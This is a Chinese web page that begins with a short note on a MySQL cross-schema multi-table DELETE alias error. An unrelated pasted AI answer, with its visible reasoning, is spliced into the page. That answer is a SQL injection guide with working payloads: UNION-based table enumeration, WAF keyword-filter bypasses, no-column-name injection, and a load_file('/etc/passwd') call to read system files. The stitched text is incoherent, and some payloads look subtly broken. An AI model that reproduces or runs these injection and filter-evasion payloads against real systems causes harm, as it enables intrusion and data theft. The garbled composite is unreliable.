mysql 多表删除陷阱(跨库schema+别名的语法错误问题)

本文探讨了在MySQL中跨库使用schema执行多表删除时的限制,特别是关于表别名的问题。通过示例展示了跨库删除操作的正确语法,并指出MySQL在该场景下不允许为表赋予别名。

* 登陆用户为demo

* 连接字符串串中指定默认库是demo

* 另一个数据库(schema)是demo2,demo用户拥有demo2的所有访问权限

 

delete f,s from tableF f left join tableS s on f.fid=s.fid

- result=ok

 

delete f,s from demo.tableF f left join demo.tableS s on f.fid=s.fid

- result=ok

 

delete f,s from demo2.tableF f left join demo2.tableS s on f.fid=s.fid

- result=error,bad sql grammar :(

 

delete demo2.tableF,demo2.tableS from demo2.tableF left join demo2.tableS on demo2.tableF.fid=demo2.tableS.fid

- result=ok


可见,mysql在跨库使用schema来执行多表删除时不能给表取别名。
<think>我们正在处理一个SQL注入问题。用户已经确认了回显位置(即知道在哪个位置可以显示查询结果),但无法从information_schema中获取数据。 根据引用资料,information_schemaMySQL中存储元数据的数据,包含所有数据、列的信息。在SQL注入中,我们通常通过查询information_schema.schemata来获取数据名,通过information_schema.tables来获取名,通过information_schema.columns来获取列名。 用户遇到的问题可能是无法从information_schema中获取数据,可能的原因包括: 1. 当前数据用户权限不足,无法访问information_schema。 2. 存在WAF(Web应用防火墙)或过滤机制,阻止了对information_schema的访问(如引用[4]中提到的过滤关键字)。 3. 注入点上下文限制,比如在特定的数据环境下,或者使用了特殊的字符编码导致语句无法正常执行。 4. 注入语句本身存在语法错误。 根据引用[4],我们可以看到一些过滤的字符和关键字,包括'information_schema'、'select'、'union'等。如果存在这样的过滤,那么直接查询information_schema可能会被拦截。 解决方案: 1. 绕过过滤:如果存在关键字过滤,可以尝试使用大小写混淆、注释分割、编码、等价替换等方法绕过。 2. 使用无列名注入技术(当information_schema被过滤时的一种替代方法)。 3. 尝试使用其他系统(在MySQL中,除了information_schema,还有mysql数据中也包含一些元数据,但通常需要更高权限)。 具体步骤: 步骤1:确认是否information_schema被过滤 尝试一个简单的查询,例如:`union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1` 如果这个查询被拦截,则说明可能有过滤。 步骤2:绕过过滤 - 大小写混合:`UnIoN SeLeCt 1,2,table_name FrOm InFoRmAtIoN_sChEmA.tAbLeS` - 使用注释:`uni/**/on sel/**/ect 1,2,table_name fr/**/om information_schema.tables` - 使用内联注释:`/*!SELECT*/`(MySQL特有) - 使用十六进制编码:将`information_schema`编码为`0x696E666F726D6174696F6E5F736368656D61`(注意:需要根据实际情况调整) - 使用字符串拼接:`concat('infor','mation_schema')` 或者 `concat('information','_','schema')` - 使用别名:`(select table_name from information_schema.tables) as t` 步骤3:如果information_schema被完全过滤,考虑无列名注入(引用[4]提到) 无列名注入的原理是:当不知道列名时,我们可以通过别名的方式将查询结果中的列重命名,然后通过比较或者连接查询来获取数据。 例如,如果我们知道当前查询返回两列,我们可以这样: ```sql select 1 as a, 2 as b union select * from (select * from 目标) as t ``` 但是更常见的做法是利用join进行列名爆破(当列名未知时)或者利用已知列名(如果有)进行查询。 另一种无列名注入的方法是使用子查询和别名: ```sql select `1` from (select 1,2,3 union select * from 目标) as a ``` 这里,我们首先构造一个虚拟,其中第一列我们命名为1(通过反引号),然后从这个虚拟中查询第一列。 步骤4:利用其他系统(如果可用) 在MySQL中,除了information_schema,还可以尝试查询`mysql`数据中的,例如`mysql.user`(用户信息)或`mysql.db`(数据权限信息)。但通常这些需要更高的权限。 步骤5:考虑使用错误注入或时间盲注 如果回显位置无法直接显示数据(比如只显示一个位置,或者有过滤导致无法回显),那么可能需要使用错误注入或时间盲注来获取数据。但用户已经确认有回显位置,所以这里不考虑。 步骤6:尝试获取当前数据 如果information_schema被过滤,我们可以尝试使用无列名注入来获取当前数据。假设我们已知当前数据名为'db1',并且已知回显位置有两个,位置1和位置2。 首先,我们需要知道当前数据中有哪些。我们可以通过以下步骤: 1. 构造一个虚拟,其中包含两个列(因为回显位置有两个),第一列是名,第二列是任意值。 2. 使用union select将目标的数据与虚拟合并,然后通过别名来引用列。 但是,无列名注入通常需要我们知道目标少列,并且我们需要能够将目标的列与虚拟的列对齐。因此,我们需要先确定目标的列数(通过order by或union select null,null...)。 假设我们已经知道目标(即存储其他名的)的列数,但这里我们不知道。因此,我们可以先尝试获取information_schema.tables的结构(如果被过滤则不行)。所以,在information_schema被过滤的情况下,我们可能需要猜测名和列名。 然而,在无列名注入中,我们通常用于获取数据,而不是获取结构。所以,如果information_schema被过滤,我们可能需要使用其他方法。 引用[3]中提到了使用group_concat(schema_name)来一次性获取所有数据名,避免次查询。我们可以尝试类似的方法获取名,但前提是information_schema可用。 因此,如果information_schema被过滤,我们可能需要尝试以下方法: - 使用MySQL 5.7.9以上版本新增的sys schema(如果可用),但通常需要权限。 - 利用已知名进行猜测(例如常见的admin, user, news等)。 - 利用错误消息(如果开启了错误显示)来获取名。 由于情况复杂,这里给出一个绕过information_schema过滤的示例: 假设注入点原语句为: `select * from products where id = [注入点]` 我们构造的注入语句(绕过information_schema): `-1' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema=database()), '3' --+` 如果被过滤,我们可以尝试: `-1' union select 1, (select group_concat(table_name) from /*!information_schema*/.tables where table_schema=database()), '3' --+` 或者使用内联注释和十六进制: `-1' union select 1, (select group_concat(table_name) from `information_schema`.`tables` where table_schema=database()), '3' --+` 注意:这里使用反引号避免空格问题,但反引号本身可能被过滤,所以可以尝试不使用反引号或者用其他方法。 如果以上都不行,考虑无列名注入,但无列名注入通常用于获取数据,而获取名还是需要从information_schema中获取。所以,如果information_schema被完全禁止,那么无列名注入也无法直接获取名。 因此,在information_schema被完全禁止的情况下,我们可以尝试: - 使用系统变量:`@@version`,`@@datadir`等,获取一些系统信息。 - 尝试访问mysql数据中的(如果权限足够): `union select 1,table_name from mysql.innodb_table_stats where database_name=database()` 注意:innodb_table_stats存储了InnoDB的统计信息,可能包含名,但并不是所有都有。 总结: 用户的问题是无法从information_schema中获取数据,最可能的原因是过滤。因此,我们重点介绍如何绕过过滤。 下面给出一个具体的绕过示例,假设过滤了空格和information_schema: 我们可以使用注释代替空格,使用十六进制代替information_schema: 原始语句:`select table_name from information_schema.tables where table_schema=database() limit 0,1` 绕过: `select(table_name)from(information_schema.tables)where(table_schema=database())limit(0),1` 或者使用内联注释: `select table_name from /*!information_schema*/.tables where table_schema=database() limit 0,1` 或者使用十六进制编码information_schema: `select table_name from 0x696E666F726D6174696F6E5F736368656D61.tables where table_schema=database() limit 0,1` 注意:在MySQL中,十六进制字符串可以直接作为名,但需要加上反引号,而反引号也可能被过滤,所以可以尝试: `select table_name from (select 0x696E666F726D6174696F6E5F736368656D61) as t` 这种方式不可行。 实际上,将十六进制作为名直接使用,需要先将其转换为字符串,但这样很复杂。所以,更常用的还是大小写混合、注释分割等。 因此,我们尝试构造一个绕过过滤的注入语句(假设过滤了information_schema这个字符串,但我们可以用大小写混合): `-1' union select 1,table_name from InFormaTIon_ScHema.tables where table_schema=database() limit 0,1 --+` 如果过滤了空格,我们可以用`/**/`代替: `-1'/**/union/**/select/**/1,table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1/**/--+` 如果还过滤了`--+`注释,我们可以使用`#`或者使用其他闭合方式。 由于用户的具体过滤规则未知,我们需要根据实际情况调整。 最后,如果所有方法都失败,可能需要考虑使用盲注(布尔盲注或时间盲注)来获取名,但用户已经确认有回显位置,所以盲注不是首选。 因此,我们建议用户尝试使用不同的绕过技术,并逐步测试。 相关问题: 1. 在SQL注入中,当information_schema被过滤时,有哪些替代方法获取名? 2. 如何绕过SQL注入中的关键字过滤? 3. 无列名注入的具体步骤是什么?</think>### SQL注入中无法从information_schema获取数据的解决方案 当SQL注入点已确认回显位置但无法从`information_schema`获取数据时,通常由以下原因导致: 1. **权限不足** 当前数据用户可能缺少`information_schema`的访问权限。可通过以下语句验证权限: ```sql UNION SELECT user(), version(), database() --+ ``` 若返回结果中用户为`root@localhost`则权限足够;若为低权限用户(如`webuser@%`),可能无法访问系统[^1]。 2. **WAF/keyword过滤** 防火墙或应用层过滤了`information_schema`关键字(引用[4])。可通过以下方法绕过: - **大小写混淆**:`InFoRmAtIoN_sChEmA` - **十六进制编码**: ```sql UNION SELECT 1, table_name FROM 0x696E666F726D6174696F6E5F736368656D612E7461626C6573 --+ ``` - **注释分割**:`inf/**/ormation_schema` - **字符串拼接**:`concat('inform','ation_schema')`[^4] 3. **无列名注入场景** 当`information_schema`完全不可用时(引用[4]),可尝试: ```sql UNION SELECT `2` FROM (SELECT 1,2,3 UNION SELECT * FROM 目标) AS t ``` 通过修改反引号内数字`2`遍历列位置,结合`limit`逐行获取数据。 4. **替代元数据源** 尝试其他系统: ```sql -- MySQL 5.7+ UNION SELECT table_name FROM mysql.innodb_table_stats WHERE database_name = database() -- PostgreSQL UNION SELECT tablename FROM pg_catalog.pg_tables ``` 5. **特殊字符处理** 若遇到引号过滤(引用[4]),使用十六进制替代: ```sql UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 0x64625F6E616D65 -- 'db_name'的十六进制 ``` ### 操作步骤 1. **验证过滤规则** 输入测试负载:`UNION SELECT 'information_schema'`,观察是否触发拦截。 2. **尝试绕过技术** 逐步组合使用大小写混淆、注释分割等方法: ```sql id=-1' UniOn SelEct 1,table_name FrOm /*!50000 infORmation_schEMa*/./**/tables --+ ``` 3. **无列名注入流程** ```sql a. 确定列数: order by 4 b. 创建虚拟: UNION SELECT 1,(select `2` from (select 1,2,3 union select * from users) as t limit 1,1) c. 修改limit参数遍历数据 ``` 4. **权限提升尝试** 若权限不足,利用`load_file()`或`into outfile`尝试读取系统文件: ```sql UNION SELECT load_file('/etc/passwd'),2,3 --+ ``` > **注意**:实际注入中需根据数据类型(MySQL/MSSQL/PostgreSQL)调整语法,MySQL 5.5+的`information_schema`访问需要`SELECT`权限[^2]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值